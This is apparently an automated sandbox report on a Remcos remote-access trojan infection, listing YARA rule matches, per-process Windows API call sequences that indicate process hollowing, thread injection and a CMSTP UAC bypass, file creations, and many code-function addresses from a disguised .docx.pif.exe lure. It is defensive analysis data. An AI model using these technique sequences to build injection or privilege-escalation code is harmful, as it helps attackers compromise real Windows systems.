Source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 31.2.colorcpl.exe.6420000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000001F.00000002.3702973204.0000000004580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000001F.00000002.3705302881.0000000006420000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: Process Memory Space: colorcpl.exe PID: 7688, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown

Source: C:\Windows\SysWOW64\colorcpl.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029981B8 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_029981B8
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299C7B4 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_0299C7B4
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299C724 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_0299C724
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299A524 GetModuleHandleW,GetProcAddress,NtOpenProcess,GetCurrentProcess,IsBadReadPtr,IsBadReadPtr,GetCurrentProcess,GetModuleHandleW,GetProcAddress,NtWriteVirtualMemory,GetModuleHandleW,GetProcAddress,NtCreateThreadEx,CloseHandle,	0_2_0299A524
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02997A94 GetModuleHandleA,GetProcAddress,NtWriteVirtualMemory,	0_2_02997A94
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299DA24 GetModuleHandleW,GetProcAddress,NtQueryInformationProcess,	0_2_0299DA24
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299C898 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_0299C898
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299D9A4 GetModuleHandleW,GetProcAddress,NtQueryInformationProcess,	0_2_0299D9A4
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02997944 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_02997944
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02997E14 LoadLibraryExA,GetModuleHandleA,GetProcAddress,NtFlushInstructionCache,FreeLibrary,	0_2_02997E14
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02997CC8 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	0_2_02997CC8
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029981B6 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_029981B6
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299C6AC RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_0299C6AC
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_0299C7B2 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_0299C7B2
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02997A92 GetModuleHandleA,GetProcAddress,NtWriteVirtualMemory,	0_2_02997A92
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029979D8 GetModuleHandleW,GetProcAddress,NtProtectVirtualMemory,	0_2_029979D8
Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_02997942 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_02997942
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B578114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	8_2_00007FF64B578114
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B58BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	8_2_00007FF64B58BCF0
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B5788C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	8_2_00007FF64B5788C0
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B577FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	8_2_00007FF64B577FF8
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B57898C NtQueryInformationToken,	8_2_00007FF64B57898C
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B563D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	8_2_00007FF64B563D94
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B591538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	8_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B5789E4 NtQueryInformationToken,NtQueryInformationToken,	8_2_00007FF64B5789E4
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B578114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	10_2_00007FF64B578114
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B58BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	10_2_00007FF64B58BCF0
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B5788C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	10_2_00007FF64B5788C0
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B577FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	10_2_00007FF64B577FF8
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B57898C NtQueryInformationToken,	10_2_00007FF64B57898C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B563D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	10_2_00007FF64B563D94
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B591538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	10_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B5789E4 NtQueryInformationToken,NtQueryInformationToken,	10_2_00007FF64B5789E4
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B578114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	12_2_00007FF64B578114
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B58BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	12_2_00007FF64B58BCF0
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B5788C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	12_2_00007FF64B5788C0
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B577FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	12_2_00007FF64B577FF8
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B57898C NtQueryInformationToken,	12_2_00007FF64B57898C
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B563D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	12_2_00007FF64B563D94
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B591538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	12_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B5789E4 NtQueryInformationToken,NtQueryInformationToken,	12_2_00007FF64B5789E4
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B578114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	14_2_00007FF64B578114
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B58BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	14_2_00007FF64B58BCF0
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B5788C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	14_2_00007FF64B5788C0
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B577FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	14_2_00007FF64B577FF8
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B57898C NtQueryInformationToken,	14_2_00007FF64B57898C
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B563D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	14_2_00007FF64B563D94
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B591538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	14_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B5789E4 NtQueryInformationToken,NtQueryInformationToken,	14_2_00007FF64B5789E4
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B578114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	17_2_00007FF64B578114
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B58BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	17_2_00007FF64B58BCF0
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B5788C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,	17_2_00007FF64B5788C0
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B577FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,	17_2_00007FF64B577FF8
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B57898C NtQueryInformationToken,	17_2_00007FF64B57898C
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B563D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,	17_2_00007FF64B563D94
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B591538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	17_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 17_2_00007FF64B5789E4 NtQueryInformationToken,NtQueryInformationToken,	17_2_00007FF64B5789E4
Source: C:\Users\Public\ger.exe	Code function: 24_2_00007FF7E0A09890 NtSetInformationKey,NtQueryKey,RegQueryInfoKeyW,lstrlenW,memset,RegEnumKeyExW,RegOpenKeyExW,RegCloseKey,	24_2_00007FF7E0A09890

Source: C:\Users\Public\alpha.exe

Code function: 8_2_00007FF64B565240: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPEAX@Z,memset,CreateFileW,DeviceIoControl,memmove,CloseHandle,??_V@YAXPEAX@Z,memset,FindClose,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,

8_2_00007FF64B565240

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe

Code function: 0_2_029981B8 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,

0_2_029981B8

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 31_2_045967B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,

31_2_045967B4

Source: C:\Users\Public\alpha.exe	File created: C:\Windows	Jump to behavior
Source: C:\Users\Public\alpha.exe	File created: C:\Windows \System32	Jump to behavior
Source: C:\Windows\System32\extrac32.exe	File created: C:\Windows \System32\per.exe	Jump to behavior

Source: C:\Users\user\Desktop\#U8f6e#U6905-#U89c4#U683c2024#U5e747#U67081.docx.pif.exe	Code function: 0_2_029820C4	0_2_029820C4
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_0040E800	3_2_0040E800
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_0040C838	3_2_0040C838
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_0040F1CA	3_2_0040F1CA
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_00411250	3_2_00411250
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_004102D0	3_2_004102D0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_0040B2E7	3_2_0040B2E7
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_004102F0	3_2_004102F0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_004105F0	3_2_004105F0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_00410673	3_2_00410673
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_2_004106B9	3_2_004106B9
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_0040E800	3_1_0040E800
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_0040C838	3_1_0040C838
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_0040F1CA	3_1_0040F1CA
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_00411250	3_1_00411250
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_004102D0	3_1_004102D0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_0040B2E7	3_1_0040B2E7
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_004102F0	3_1_004102F0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_004105F0	3_1_004105F0
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_00410673	3_1_00410673
Source: C:\Users\Public\Libraries\drbdmeyP.pif	Code function: 3_1_004106B9	3_1_004106B9
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B567D30	8_2_00007FF64B567D30
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B5737D8	8_2_00007FF64B5737D8
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B56AA54	8_2_00007FF64B56AA54
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B575554	8_2_00007FF64B575554
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B561884	8_2_00007FF64B561884
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B562C48	8_2_00007FF64B562C48
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B577854	8_2_00007FF64B577854
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B58AC4C	8_2_00007FF64B58AC4C
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B568510	8_2_00007FF64B568510
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B56B0D8	8_2_00007FF64B56B0D8
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B5718D4	8_2_00007FF64B5718D4
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B563F90	8_2_00007FF64B563F90
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B565B70	8_2_00007FF64B565B70
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B569B50	8_2_00007FF64B569B50
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B563410	8_2_00007FF64B563410
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B566BE0	8_2_00007FF64B566BE0
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B58AFBC	8_2_00007FF64B58AFBC
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B56E680	8_2_00007FF64B56E680
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B58EE88	8_2_00007FF64B58EE88
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B570A6C	8_2_00007FF64B570A6C
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B565240	8_2_00007FF64B565240
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B56D250	8_2_00007FF64B56D250
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B569E50	8_2_00007FF64B569E50
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B567650	8_2_00007FF64B567650
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B56372C	8_2_00007FF64B56372C
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B587F00	8_2_00007FF64B587F00
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B566EE4	8_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B591538	8_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B574224	8_2_00007FF64B574224
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B562220	8_2_00007FF64B562220
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B58AA30	8_2_00007FF64B58AA30
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B564A30	8_2_00007FF64B564A30
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B568DF8	8_2_00007FF64B568DF8
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B56CE10	8_2_00007FF64B56CE10
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B58D9D0	8_2_00007FF64B58D9D0
Source: C:\Users\Public\alpha.exe	Code function: 8_2_00007FF64B5681D4	8_2_00007FF64B5681D4
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B567D30	10_2_00007FF64B567D30
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B5737D8	10_2_00007FF64B5737D8
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B56AA54	10_2_00007FF64B56AA54
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B575554	10_2_00007FF64B575554
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B561884	10_2_00007FF64B561884
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B562C48	10_2_00007FF64B562C48
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B577854	10_2_00007FF64B577854
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B58AC4C	10_2_00007FF64B58AC4C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B568510	10_2_00007FF64B568510
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B56B0D8	10_2_00007FF64B56B0D8
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B5718D4	10_2_00007FF64B5718D4
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B563F90	10_2_00007FF64B563F90
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B565B70	10_2_00007FF64B565B70
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B569B50	10_2_00007FF64B569B50
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B563410	10_2_00007FF64B563410
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B566BE0	10_2_00007FF64B566BE0
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B58AFBC	10_2_00007FF64B58AFBC
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B56E680	10_2_00007FF64B56E680
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B58EE88	10_2_00007FF64B58EE88
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B570A6C	10_2_00007FF64B570A6C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B565240	10_2_00007FF64B565240
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B56D250	10_2_00007FF64B56D250
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B569E50	10_2_00007FF64B569E50
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B567650	10_2_00007FF64B567650
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B56372C	10_2_00007FF64B56372C
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B587F00	10_2_00007FF64B587F00
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B566EE4	10_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B591538	10_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B574224	10_2_00007FF64B574224
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B562220	10_2_00007FF64B562220
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B58AA30	10_2_00007FF64B58AA30
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B564A30	10_2_00007FF64B564A30
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B568DF8	10_2_00007FF64B568DF8
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B56CE10	10_2_00007FF64B56CE10
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B58D9D0	10_2_00007FF64B58D9D0
Source: C:\Users\Public\alpha.exe	Code function: 10_2_00007FF64B5681D4	10_2_00007FF64B5681D4
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B5737D8	12_2_00007FF64B5737D8
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B570A6C	12_2_00007FF64B570A6C
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B56AA54	12_2_00007FF64B56AA54
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B575554	12_2_00007FF64B575554
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B574224	12_2_00007FF64B574224
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B561884	12_2_00007FF64B561884
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B562C48	12_2_00007FF64B562C48
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B577854	12_2_00007FF64B577854
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B58AC4C	12_2_00007FF64B58AC4C
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B567D30	12_2_00007FF64B567D30
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B568510	12_2_00007FF64B568510
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B56B0D8	12_2_00007FF64B56B0D8
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B5718D4	12_2_00007FF64B5718D4
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B563F90	12_2_00007FF64B563F90
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B565B70	12_2_00007FF64B565B70
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B569B50	12_2_00007FF64B569B50
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B563410	12_2_00007FF64B563410
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B566BE0	12_2_00007FF64B566BE0
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B58AFBC	12_2_00007FF64B58AFBC
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B56E680	12_2_00007FF64B56E680
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B58EE88	12_2_00007FF64B58EE88
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B565240	12_2_00007FF64B565240
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B56D250	12_2_00007FF64B56D250
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B569E50	12_2_00007FF64B569E50
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B567650	12_2_00007FF64B567650
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B56372C	12_2_00007FF64B56372C
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B587F00	12_2_00007FF64B587F00
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B566EE4	12_2_00007FF64B566EE4
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B591538	12_2_00007FF64B591538
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B562220	12_2_00007FF64B562220
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B58AA30	12_2_00007FF64B58AA30
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B564A30	12_2_00007FF64B564A30
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B568DF8	12_2_00007FF64B568DF8
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B56CE10	12_2_00007FF64B56CE10
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B58D9D0	12_2_00007FF64B58D9D0
Source: C:\Users\Public\alpha.exe	Code function: 12_2_00007FF64B5681D4	12_2_00007FF64B5681D4
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B5737D8	14_2_00007FF64B5737D8
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B570A6C	14_2_00007FF64B570A6C
Source: C:\Users\Public\alpha.exe	Code function: 14_2_00007FF64B56AA54	14_2_00007FF64B56AA54
